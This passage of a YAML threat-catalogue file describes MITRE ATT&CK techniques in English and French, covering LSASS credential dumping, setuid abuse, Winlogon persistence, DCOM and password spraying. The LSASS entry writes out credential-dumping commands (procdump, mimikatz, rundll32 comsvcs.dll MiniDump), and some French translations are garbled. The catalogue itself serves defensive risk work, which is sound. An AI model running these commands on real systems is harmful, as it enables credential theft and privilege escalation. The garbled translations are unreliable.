          \ quelles actions (lecture, \xE9criture, ex\xE9cution, etc.).\n\nLes modifications\
          \ peuvent inclure la modification de droits d\u2019acc\xE8s sp\xE9cifiques,\
          \ ce qui peut n\xE9cessiter la prise en charge d\u2019un fichier ou d\u2019\
          un r\xE9pertoire et/ou des autorisations \xE9lev\xE9es en fonction des autorisations\
          \ existantes du fichier ou du r\xE9pertoire. Cela peut permettre des activit\xE9\
          s malveillantes telles que la modification, le remplacement ou la suppression\
          \ de fichiers ou de r\xE9pertoires sp\xE9cifiques. Des modifications sp\xE9\
          cifiques de fichiers et de r\xE9pertoires peuvent \xEAtre une \xE9tape n\xE9\
          cessaire pour de nombreuses techniques, telles que l\u2019\xE9tablissement\
          \ de la persistance via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008),\
          \ [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037),\
          \ [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004),\
          \ ou l\u2019alt\xE9ration/d\xE9tournement d\u2019autres fichiers binaires/de\
          \ configuration instrumentaux via [Hijack Execution Flux](https://attack.mitre.org/techniques/T1574).\n\
          \nLes adversaires peuvent \xE9galement modifier les autorisations des liens\
          \ symboliques. Par exemple, les logiciels malveillants (en particulier les\
          \ ransomwares) peuvent modifier les liens symboliques et les param\xE8tres\
          \ associ\xE9s pour permettre l\u2019acc\xE8s aux fichiers \xE0 partir de\
          \ raccourcis locaux avec des chemins d\u2019acc\xE8s distants. (Citation\
          \ : new_rust_based_ransomware)(R\xE9f\xE9rence : bad_luck_blackcat)(R\xE9\
          f\xE9rence : falconoverwatch_blackcat_attack)(R\xE9f\xE9rence : blackmatter_blackcat)(R\xE9\
          f\xE9rence : fsutil_behavior)\nhttps://attack.mitre.org/techniques/T1222"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.001
    ref_id: T1003.001
    name: LSASS Memory
    description: 'Adversaries may attempt to access credential material stored in
      the process memory of the Local Security Authority Subsystem Service (LSASS).
      After a user logs on, the system generates and stores a variety of credential
      materials in LSASS process memory. These credential materials can be harvested
      by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008)
      using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).


      As well as in-memory techniques, the LSASS process memory can be dumped from
      the target host and analyzed on a local system.


      For example, on the target host use procdump:


      * <code>procdump -ma lsass.exe lsass_dump</code>


      Locally, mimikatz can be run using:


      * <code>sekurlsa::Minidump lsassdump.dmp</code>

      * <code>sekurlsa::logonPasswords</code>


      Built-in Windows tools such as `comsvcs.dll` can also be used:


      * <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID  lsass.dmp
      full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec
      Attacks Against Government Sector)


      Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012),
      the silent process exit mechanism can be abused to create a memory dump of `lsass.exe`
      through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)


      Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at
      system start. Once loaded into the LSA, SSP DLLs have access to encrypted and
      plaintext passwords that are stored in Windows, such as any logged-on user''s
      Domain password or smart card PINs. The SSP configuration is stored in two Registry
      keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code>
      and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>.
      An adversary may modify these Registry keys to add new SSPs, which will be loaded
      the next time the system boots, or when the AddSecurityPackage Windows API function
      is called.(Citation: Graeber 2014)


      The following SSPs can be used to access credentials:


      * Msv: Interactive logons, batch logons, and service logons are done through
      the MSV authentication package.

      * Wdigest: The Digest Authentication protocol is designed for use with Hypertext
      Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation:
      TechNet Blogs Credential Protection)

      * Kerberos: Preferred for mutual client-server domain authentication in Windows
      2000 and later.

      * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop
      Services.(Citation: TechNet Blogs Credential Protection)

      https://attack.mitre.org/techniques/T1003/001'
    translations:
      fr:
        name: "M\xE9moire LSASS"
        description: "Les adversaires peuvent tenter d\u2019acc\xE9der aux informations\
          \ d\u2019identification stock\xE9es dans la m\xE9moire de processus du service\
          \ LSASS (Local Security Authority Subsystem Service). Une fois qu\u2019\
          un utilisateur s\u2019est connect\xE9, le syst\xE8me g\xE9n\xE8re et stocke\
          \ divers \xE9l\xE9ments d\u2019identification dans la m\xE9moire de processus\
          \ LSASS. Ces \xE9l\xE9ments d\u2019identification peuvent \xEAtre collect\xE9\
          s par un utilisateur administratif ou un SYSTEM et utilis\xE9s pour effectuer\
          \ [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008) \xE0 l\u2019\
          aide de [Utiliser un autre mat\xE9riel d\u2019authentification](https://attack.mitre.org/techniques/T1550).\n\
          \nEn plus des techniques en m\xE9moire, la m\xE9moire de processus LSASS\
          \ peut \xEAtre vid\xE9e de l\u2019h\xF4te cible et analys\xE9e sur un syst\xE8\
          me local.\n\nPar exemple, sur l\u2019h\xF4te cible, utilisez procdump :\n\
          \n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocalement, mimikatz\
          \ peut \xEAtre ex\xE9cut\xE9 en utilisant :\n\n* <code>sekurlsa\_::Minidump\
          \ lsassdump.dmp</code>\n* <code>sekurlsa\_::logonPasswords</code>\n\nDes\
          \ outils Windows int\xE9gr\xE9s tels que 'comsvcs.dll' peuvent \xE9galement\
          \ \xEAtre utilis\xE9s :\n\n* <code>rundll32.exe C\_:\\Windows\\System32\\\
          comsvcs.dll MiniDump PID lsass.dmp full</code>(Citation\_: Volexity Exchange\
          \ Marauder March 2021)(Citation\_: Symantec Attacks Against Government Sector)\n\
          \n\xC0 l\u2019instar de [Injection d\u2019options d\u2019ex\xE9cution de\
          \ fichier image](https://attack.mitre.org/techniques/T1546/012), le m\xE9\
          canisme de sortie de processus silencieux peut \xEAtre utilis\xE9 de mani\xE8\
          re abusive pour cr\xE9er un vidage de m\xE9moire de 'lsass.exe' via le rapport\
          \ d\u2019erreurs Windows ('WerFault.exe'). (Citation : Deep Instinct LSASS)\n\
          \nLes DLL SSP (Security Security Support Provider) Windows sont charg\xE9\
          es dans le processus LSASS au d\xE9marrage du syst\xE8me. Une fois charg\xE9\
          es dans le LSA, les DLL SSP ont acc\xE8s aux mots de passe chiffr\xE9s et\
          \ en texte brut qui sont stock\xE9s dans Windows, tels que le mot de passe\
          \ de domaine ou les codes confidentiels de carte \xE0 puce de tout utilisateur\
          \ connect\xE9. La configuration SSP est stock\xE9e dans deux cl\xE9s de\
          \ registre : <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security\
          \ Packages</code> et <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\
          OSConfig\\Security Packages</code>. Un adversaire peut modifier ces cl\xE9\
          s de registre pour ajouter de nouveaux SSP, qui seront charg\xE9s au prochain\
          \ d\xE9marrage du syst\xE8me ou lors de l\u2019appel de la fonction d\u2019\
          API Windows AddSecurityPackage. (Citation : Graeber 2014)\n\nLes SSP suivants\
          \ peuvent \xEAtre utilis\xE9s pour acc\xE9der aux informations d\u2019identification\
          \ :\n\n* Msv : les ouvertures de session interactives, les ouvertures de\
          \ session par lots et les ouvertures de session de service sont effectu\xE9\
          es via le package d\u2019authentification MSV.\n* Wdigest : Le protocole\
          \ d\u2019authentification Digest est con\xE7u pour \xEAtre utilis\xE9 avec\
          \ les \xE9changes HTTP (Hypertext Transfer Protocol) et SASL (Simple Authentication\
          \ Security Layer). (Citation : Protection des informations d\u2019identification\
          \ des blogs TechNet)\n* Kerberos : Recommand\xE9 pour l\u2019authentification\
          \ mutuelle de domaine client-serveur dans Windows 2000 et versions ult\xE9\
          rieures.\n* CredSSP : Fournit l\u2019authentification SSO et l\u2019authentification\
          \ au niveau du r\xE9seau pour les services de bureau \xE0 distance. (Citation\
          \ : Protection des informations d\u2019identification des blogs TechNet)\n\
          https://attack.mitre.org/techniques/T1003/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1595
    ref_id: T1595
    name: Active Scanning
    description: 'Adversaries may execute active reconnaissance scans to gather information
      that can be used during targeting. Active scans are those where the adversary
      probes victim infrastructure via network traffic, as opposed to other forms
      of reconnaissance that do not involve direct interaction.


      Adversaries may perform different forms of active scanning depending on what
      information they seek to gather. These scans can also be performed in various
      ways, including using native features of network protocols such as ICMP.(Citation:
      Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may
      reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

      https://attack.mitre.org/techniques/T1595'
    translations:
      fr:
        name: Analyse active
        description: "Les adversaires peuvent ex\xE9cuter des balayages de reconnaissance\
          \ actifs pour recueillir des informations qui peuvent \xEAtre utilis\xE9\
          es pendant le ciblage. Les analyses actives sont celles o\xF9 l\u2019adversaire\
          \ sonde l\u2019infrastructure de la victime via le trafic r\xE9seau, par\
          \ opposition \xE0 d\u2019autres formes de reconnaissance qui n\u2019impliquent\
          \ pas d\u2019interaction directe.\n\nLes adversaires peuvent effectuer diff\xE9\
          rentes formes d\u2019analyse active en fonction des informations qu\u2019\
          ils cherchent \xE0 recueillir. Ces analyses peuvent \xE9galement \xEAtre\
          \ effectu\xE9es de diff\xE9rentes mani\xE8res, notamment \xE0 l\u2019aide\
          \ de fonctionnalit\xE9s natives de protocoles r\xE9seau tels que ICMP. (Citation\
          \ : Botnet Scan)(Citation : Prise d\u2019empreintes digitales OWASP) Les\
          \ informations recueillies lors de ces analyses peuvent r\xE9v\xE9ler des\
          \ possibilit\xE9s pour d\u2019autres formes de reconnaissance (ex : [Recherche\
          \ dans des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Recherche dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou un acc\xE8s initial (ex : [Externe \xE0 distance Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Exploiter l\u2019application publique](https://attack.mitre.org/techniques/T1190)).\n\
          https://attack.mitre.org/techniques/T1595"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548
    ref_id: T1548
    name: Abuse Elevation Control Mechanism
    description: 'Adversaries may circumvent mechanisms designed to control elevate
      privileges to gain higher-level permissions. Most modern systems contain native
      elevation control mechanisms that are intended to limit privileges that a user
      can perform on a machine. Authorization has to be granted to specific users
      in order to perform tasks that can be considered of higher risk.(Citation: TechNet
      How UAC Works)(Citation: sudo man page 2018) An adversary can perform several
      methods to take advantage of built-in control mechanisms in order to escalate
      privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)

      https://attack.mitre.org/techniques/T1548'
    translations:
      fr:
        name: "M\xE9canisme de contr\xF4le de l\u2019\xE9l\xE9vation des abus"
        description: "Les adversaires peuvent contourner les m\xE9canismes con\xE7\
          us pour contr\xF4ler les privil\xE8ges d\u2019\xE9l\xE9vation afin d\u2019\
          obtenir des autorisations de niveau sup\xE9rieur. La plupart des syst\xE8\
          mes modernes contiennent des m\xE9canismes natifs de contr\xF4le d\u2019\
          \xE9l\xE9vation qui sont destin\xE9s \xE0 limiter les privil\xE8ges qu\u2019\
          un utilisateur peut effectuer sur une machine. L\u2019autorisation doit\
          \ \xEAtre accord\xE9e \xE0 des utilisateurs sp\xE9cifiques afin d\u2019\
          effectuer des t\xE2ches qui peuvent \xEAtre consid\xE9r\xE9es comme pr\xE9\
          sentant un risque plus \xE9lev\xE9. (Citation : TechNet Comment fonctionne\
          \ l\u2019UAC)(Citation : sudo man page 2018) Un adversaire peut utiliser\
          \ plusieurs m\xE9thodes pour tirer parti des m\xE9canismes de contr\xF4\
          le int\xE9gr\xE9s afin d\u2019\xE9lever les privil\xE8ges sur un syst\xE8\
          me. (Citation : logiciel malveillant OSX Keydnap)(Citation : Fortinet Fareit)\n\
          https://attack.mitre.org/techniques/T1548"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1134.002
    ref_id: T1134.002
    name: Create Process with Token
    description: 'Adversaries may create a new process with an existing token to escalate
      privileges and bypass access controls. Processes can be created with the token
      and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code>
      and <code>runas</code>.(Citation: Microsoft RunAs)


      Creating processes with a token not associated with the current user may require
      the credentials of the target user, specific privileges to impersonate that
      user, or access to the token to be used. For example, the token could be duplicated
      via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)
      or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)
      before being used to create a process.


      While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001),
      the techniques can be used in conjunction where a token is duplicated and then
      used to create a new process.

      https://attack.mitre.org/techniques/T1134/002'
    translations:
      fr:
        name: "Cr\xE9er un processus avec un jeton"
        description: "Les adversaires peuvent cr\xE9er un nouveau processus avec un\
          \ jeton existant pour \xE9lever les privil\xE8ges et contourner les contr\xF4\
          les d\u2019acc\xE8s. Les processus peuvent \xEAtre cr\xE9\xE9s avec le jeton\
          \ et le contexte de s\xE9curit\xE9 r\xE9sultant d\u2019un autre utilisateur\
          \ \xE0 l\u2019aide de fonctionnalit\xE9s telles que <code>CreateProcessWithTokenW</code>\
          \ et <code>runas</code>. (Citation : Microsoft RunAs)\n\nLa cr\xE9ation\
          \ de processus avec un jeton non associ\xE9 \xE0 l\u2019utilisateur actuel\
          \ peut n\xE9cessiter les informations d\u2019identification de l\u2019utilisateur\
          \ cible, des privil\xE8ges sp\xE9cifiques pour emprunter l\u2019identit\xE9\
          \ de cet utilisateur ou l\u2019acc\xE8s au jeton \xE0 utiliser. Par exemple,\
          \ le jeton peut \xEAtre dupliqu\xE9 via [Usurpation d\u2019identit\xE9/Vol\
          \ de jeton](https://attack.mitre.org/techniques/T1134/001) ou cr\xE9\xE9\
          \ via [Cr\xE9er et emprunter l\u2019identit\xE9 d\u2019un jeton](https://attack.mitre.org/techniques/T1134/003)\
          \ avant d\u2019\xEAtre utilis\xE9 pour cr\xE9er un processus.\n\nBien que\
          \ cette technique soit distincte de l'[Usurpation d\u2019identit\xE9/Vol\
          \ de jeton](https://attack.mitre.org/techniques/T1134/001), les techniques\
          \ peuvent \xEAtre utilis\xE9es conjointement lorsqu\u2019un jeton est dupliqu\xE9\
          , puis utilis\xE9 pour cr\xE9er un nouveau processus.\nhttps://attack.mitre.org/techniques/T1134/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548.001
    ref_id: T1548.001
    name: Setuid and Setgid
    description: "An adversary may abuse configurations where an application has the\
      \ setuid or setgid bits set in order to get code running in a different (and\
      \ possibly more privileged) user\u2019s context. On Linux or macOS, when the\
      \ setuid or setgid bits are set for an application binary, the application will\
      \ run with the privileges of the owning user or group respectively.(Citation:\
      \ setuid man page) Normally an application is run in the current user\u2019\
      s context, regardless of which user or group owns the application. However,\
      \ there are instances where programs need to be executed in an elevated context\
      \ to function properly, but the user running them may not have the specific\
      \ required privileges.\n\nInstead of creating an entry in the sudoers file,\
      \ which must be done by root, any user can specify the setuid or setgid flag\
      \ to be set for their own applications (i.e. [Linux and Mac File and Directory\
      \ Permissions Modification](https://attack.mitre.org/techniques/T1222/002)).\
      \ The <code>chmod</code> command can set these bits with bitmasking, <code>chmod\
      \ 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\
      \ This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code>\
      \ and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism\
      \ on their own malware to make sure they're able to execute in elevated contexts\
      \ in the future.(Citation: OSX Keydnap malware) This abuse is often part of\
      \ a \"shell escape\" or other actions to bypass an execution environment with\
      \ restricted permissions.\n\nAlternatively, adversaries may choose to find and\
      \ target vulnerable binaries with the setuid or setgid bits already enabled\
      \ (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)).\
      \ The setuid and setguid bits are indicated with an \"s\" instead of an \"x\"\
      \ when viewing a file's attributes via <code>ls -l</code>. The <code>find</code>\
      \ command can also be used to search for such files. For example, <code>find\
      \ / -perm +4000 2>/dev/null</code> can be used to find files with setuid set\
      \ and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries\
      \ that have these bits set may then be abused by adversaries.(Citation: GTFOBins\
      \ Suid)\nhttps://attack.mitre.org/techniques/T1548/001"
    translations:
      fr:
        name: Setuid et Setgid
        description: "Un adversaire peut abuser des configurations o\xF9 une application\
          \ a les bits setuid ou setgid d\xE9finis afin d\u2019ex\xE9cuter le code\
          \ dans le contexte d\u2019un utilisateur diff\xE9rent (et peut-\xEAtre plus\
          \ privil\xE9gi\xE9). Sous Linux ou macOS, lorsque les bits setuid ou setgid\
          \ sont d\xE9finis pour un binaire d\u2019application, l\u2019application\
          \ s\u2019ex\xE9cute avec les privil\xE8ges de l\u2019utilisateur ou du groupe\
          \ propri\xE9taire respectivement. (Citation : page de manuel setuid) Normalement,\
          \ une application est ex\xE9cut\xE9e dans le contexte de l\u2019utilisateur\
          \ actuel, quel que soit l\u2019utilisateur ou le groupe qui poss\xE8de l\u2019\
          application. Toutefois, dans certains cas, les programmes doivent \xEAtre\
          \ ex\xE9cut\xE9s dans un contexte \xE9lev\xE9 pour fonctionner correctement,\
          \ mais l\u2019utilisateur qui les ex\xE9cute ne dispose peut-\xEAtre pas\
          \ des privil\xE8ges sp\xE9cifiques requis.\n\nAu lieu de cr\xE9er une entr\xE9\
          e dans le fichier sudoers, ce qui doit \xEAtre fait par root, n\u2019importe\
          \ quel utilisateur peut sp\xE9cifier l\u2019indicateur setuid ou setgid\
          \ \xE0 d\xE9finir pour ses propres applications (c\u2019est-\xE0-dire [Linux\
          \ and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)).\
          \ La commande <code>chmod</code> peut d\xE9finir ces bits avec le bitmasking,\
          \ <code>chmod 4777 [file]</code> ou via un nommage abr\xE9g\xE9, <code>chmod\
          \ u+s [file]</code>. Cela activera le bit setuid. Pour activer le bit setgid,\
          \ <code>chmod 2775</code> et <code>chmod g+s</code> peuvent \xEAtre utilis\xE9\
          s.\n\nLes adversaires peuvent utiliser ce m\xE9canisme sur leurs propres\
          \ logiciels malveillants pour s\u2019assurer qu\u2019ils sont en mesure\
          \ de s\u2019ex\xE9cuter dans des contextes \xE9lev\xE9s \xE0 l\u2019avenir.\
          \ (Citation : logiciel malveillant OSX Keydnap) Cet abus fait souvent partie\
          \ d\u2019une \xAB \xE9vasion de shell \xBB ou d\u2019autres actions visant\
          \ \xE0 contourner un environnement d\u2019ex\xE9cution avec des autorisations\
          \ restreintes.\n\nAlternativement, les adversaires peuvent choisir de trouver\
          \ et de cibler des binaires vuln\xE9rables avec les bits setuid ou setgid\
          \ d\xE9j\xE0 activ\xE9s (c\u2019est-\xE0-dire [D\xE9couverte de fichiers\
          \ et de r\xE9pertoires](https://attack.mitre.org/techniques/T1083)). Les\
          \ bits setuid et setguid sont indiqu\xE9s par un \xAB\_s\_\xBB au lieu d\u2019\
          un \xAB\_x\_\xBB lors de l\u2019affichage des attributs d\u2019un fichier\
          \ via <code>ls -l</code>. La commande <code>find</code> peut \xE9galement\
          \ \xEAtre utilis\xE9e pour rechercher de tels fichiers. Par exemple, <code>find\
          \ / -perm +4000 2>/dev/null</code> peut \xEAtre utilis\xE9 pour trouver\
          \ des fichiers avec setuid d\xE9fini et <code>find / -perm +2000 2>/dev/null</code>\
          \ peut \xEAtre utilis\xE9 pour setgid. Les binaires qui ont ces bits d\xE9\
          finis peuvent alors \xEAtre abus\xE9s par des adversaires. (Citation : go\
          \ awayBins Suid)\nhttps://attack.mitre.org/techniques/T1548/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.004
    ref_id: T1547.004
    name: Winlogon Helper DLL
    description: "Adversaries may abuse features of Winlogon to execute DLLs and/or\
      \ executables when a user logs in. Winlogon.exe is a Windows component responsible\
      \ for actions at logon/logoff as well as the secure attention sequence (SAS)\
      \ triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\\
      Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and\
      \ <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code>\
      \ are used to manage additional helper programs and functionalities that support\
      \ Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications\
      \ to these Registry keys may cause Winlogon to load and execute malicious DLLs\
      \ and/or executables. Specifically, the following subkeys have been known to\
      \ be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\
      \n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon\
      \ events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization\
      \ program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe,\
      \ the system shell executed when a user logs on\n\nAdversaries may take advantage\
      \ of these features to repeatedly execute malicious code and establish persistence.\n\
      https://attack.mitre.org/techniques/T1547/004"
    translations:
      fr:
        name: Winlogon Helper DLL
        description: "Les adversaires peuvent abuser des fonctionnalit\xE9s de Winlogon\
          \ pour ex\xE9cuter des DLL et/ou des ex\xE9cutables lorsqu\u2019un utilisateur\
          \ se connecte. Winlogon.exe s\u2019agit d\u2019un composant Windows responsable\
          \ des actions \xE0 l\u2019ouverture de session/d\xE9connexion ainsi que\
          \ de la s\xE9quence d\u2019attention s\xE9curis\xE9e (SAS) d\xE9clench\xE9\
          e par Ctrl-Alt-Suppr. Les entr\xE9es de registre dans <code>HKLM\\Software[\\\
          \\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code>\
          \ et <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code>\
          \ sont utilis\xE9es pour g\xE9rer des programmes d\u2019assistance et des\
          \ fonctionnalit\xE9s suppl\xE9mentaires qui prennent en charge Winlogon.\
          \ (Citation : Cylance Reg Persistence septembre 2013) \n\nLes modifications\
          \ malveillantes apport\xE9es \xE0 ces cl\xE9s de registre peuvent entra\xEE\
          ner le chargement et l\u2019ex\xE9cution par Winlogon de DLL et/ou d\u2019\
          ex\xE9cutables malveillants. Plus pr\xE9cis\xE9ment, les sous-cl\xE9s suivantes\
          \ sont connues pour \xEAtre potentiellement vuln\xE9rables aux abus : (Citation\
          \ : Cylance Reg Persistence Septembre 2013)\n\n* Winlogon\\Notify - pointe\
          \ vers les DLL du package de notification qui g\xE8rent les \xE9v\xE9nements\
          \ Winlogon\n* Winlogon\\Userinit - pointe vers userinit.exe, le programme\
          \ d\u2019initialisation de l\u2019utilisateur ex\xE9cut\xE9 lorsqu\u2019\
          un utilisateur se connecte\n* Winlogon\\Shell - pointe vers explorer.exe,\
          \ le shell syst\xE8me ex\xE9cut\xE9 lorsqu\u2019un utilisateur se connecte\n\
          \nLes adversaires peuvent tirer parti de ces fonctionnalit\xE9s pour ex\xE9\
          cuter \xE0 plusieurs reprises du code malveillant et \xE9tablir une persistance.\n\
          https://attack.mitre.org/techniques/T1547/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.003
    ref_id: T1021.003
    name: Distributed Component Object Model
    description: 'Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      to interact with remote machines by taking advantage of Distributed Component
      Object Model (DCOM). The adversary may then perform actions as the logged-on
      user.


      The Windows Component Object Model (COM) is a component of the native Windows
      application programming interface (API) that enables interaction between software
      objects, or executable code that implements one or more interfaces. Through
      COM, a client object can call methods of server objects, which are typically
      Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is
      transparent middleware that extends the functionality of COM beyond a local
      computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting
      COM June 2019)(Citation: Microsoft COM)


      Permissions to interact with local and remote server COM objects are specified
      by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide
      Com Keys) By default, only Administrators may remotely activate and launch COM
      objects through DCOM.(Citation: Microsoft COM ACL)


      Through DCOM, adversaries operating in the context of an appropriately privileged
      user can remotely obtain arbitrary and even direct shellcode execution through
      Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)
      as well as other Windows objects that contain insecure methods.(Citation: Enigma
      MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can
      also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017)
      and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)
      (DDE) execution directly through a COM created instance of a Microsoft Office
      application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing
      the need for a malicious document. DCOM can be used as a method of remotely
      interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).
      (Citation: MSDN WMI)

      https://attack.mitre.org/techniques/T1021/003'
    translations:
      fr:
        name: "Mod\xE8le objet de composant distribu\xE9"
        description: "Les adversaires peuvent utiliser des [comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour interagir avec des machines distantes en tirant parti du mod\xE8\
          le DCOM (Distributed Component Object Model). L\u2019adversaire peut alors\
          \ effectuer des actions en tant qu\u2019utilisateur connect\xE9.\n\nLe mod\xE8\
          le COM (Windows Component Object Model) est un composant de l\u2019interface\
          \ de programmation d\u2019application (API) native de Windows qui permet\
          \ l\u2019interaction entre des objets logiciels ou du code ex\xE9cutable\
          \ qui impl\xE9mente une ou plusieurs interfaces. Par COM, un objet client\
          \ peut appeler des m\xE9thodes d\u2019objets serveur, qui sont g\xE9n\xE9\
          ralement des biblioth\xE8ques de liens dynamiques (DLL) ou des ex\xE9cutables\
          \ (EXE). Distributed COM (DCOM) est un middleware transparent qui \xE9tend\
          \ les fonctionnalit\xE9s de COM au-del\xE0 d\u2019un ordinateur local \xE0\
          \ l\u2019aide de la technologie d\u2019appel de proc\xE9dure distante (RPC).\
          \ (R\xE9f\xE9rence : Fireeye Hunting COM juin 2019)(Citation : Microsoft\
          \ COM)\n\nLes autorisations d\u2019interaction avec les objets COM du serveur\
          \ local et distant sont sp\xE9cifi\xE9es par les listes de contr\xF4le d\u2019\
          acc\xE8s (ACL) dans le registre. (Citation : Cl\xE9s Com \xE0 l\u2019\xE9\
          chelle du processus Microsoft) Par d\xE9faut, seuls les administrateurs\
          \ peuvent activer et lancer \xE0 distance des objets COM via DCOM. (R\xE9\
          f\xE9rence : Microsoft COM ACL)\n\nGr\xE2ce \xE0 DCOM, les adversaires op\xE9\
          rant dans le contexte d\u2019un utilisateur disposant de privil\xE8ges appropri\xE9\
          s peuvent obtenir \xE0 distance l\u2019ex\xE9cution arbitraire et m\xEA\
          me directe de shellcode via des applications Office (Citation\_: Enigma\
          \ Outlook DCOM Lateral Movement Nov 2017) ainsi que d\u2019autres objets\
          \ Windows contenant des m\xE9thodes non s\xE9curis\xE9es. (Citation : Enigma\
          \ MMC20 COM janvier 2017)(Citation : Enigma DCOM Lateral Movement Jan 2017)\
          \ DCOM peut \xE9galement ex\xE9cuter des macros dans des documents existants\
          \ (Citation : Enigma Excel DCOM Sept 2017) et peut \xE9galement appeler\
          \ l\u2019ex\xE9cution [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)\
          \ (DDE) directement via une instance cr\xE9\xE9e par COM d\u2019une application\
          \ Microsoft Office (Citation : Cyberreason DCOM DDE Lateral Movement Nov\
          \ 2017), en contournant le besoin d\u2019un document malveillant. DCOM peut\
          \ \xEAtre utilis\xE9 comme m\xE9thode d\u2019interaction \xE0 distance avec\
          \ [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\
          \ (R\xE9f\xE9rence : MSDN WMI)\nhttps://attack.mitre.org/techniques/T1021/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1110.003
    ref_id: T1110.003
    name: Password Spraying
    description: 'Adversaries may use a single or small list of commonly used passwords
      against many different accounts to attempt to acquire valid account credentials.
      Password spraying uses one password (e.g. ''Password01''), or a small list of
      commonly used passwords, that may match the complexity policy of the domain.
      Logins are attempted with that password against many different accounts on a
      network to avoid account lockouts that would normally occur when brute forcing
      a single account with many passwords. (Citation: BlackHillsInfosec Password
      Spraying)


      Typically, management services over commonly used ports are used when password
      spraying. Commonly targeted services include the following:


      * SSH (22/TCP)

      * Telnet (23/TCP)

      * FTP (21/TCP)

      * NetBIOS / SMB / Samba (139/TCP & 445/TCP)

      * LDAP (389/TCP)

      * Kerberos (88/TCP)

      * RDP / Terminal Services (3389/TCP)

      * HTTP/HTTP Management Services (80/TCP & 443/TCP)

      * MSSQL (1433/TCP)

      * Oracle (1521/TCP)

      * MySQL (3306/TCP)

      * VNC (5900/TCP)


      In addition to management services, adversaries may "target single sign-on (SSO)
      and cloud-based applications utilizing federated authentication protocols,"
      as well as externally facing email applications, such as Office 365.(Citation:
      US-CERT TA18-068A 2018)


      In default environments, LDAP and Kerberos connection attempts are less likely
      to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

      https://attack.mitre.org/techniques/T1110/003'
    translations:
      fr:
        name: "Pulv\xE9risation de mots de passe"
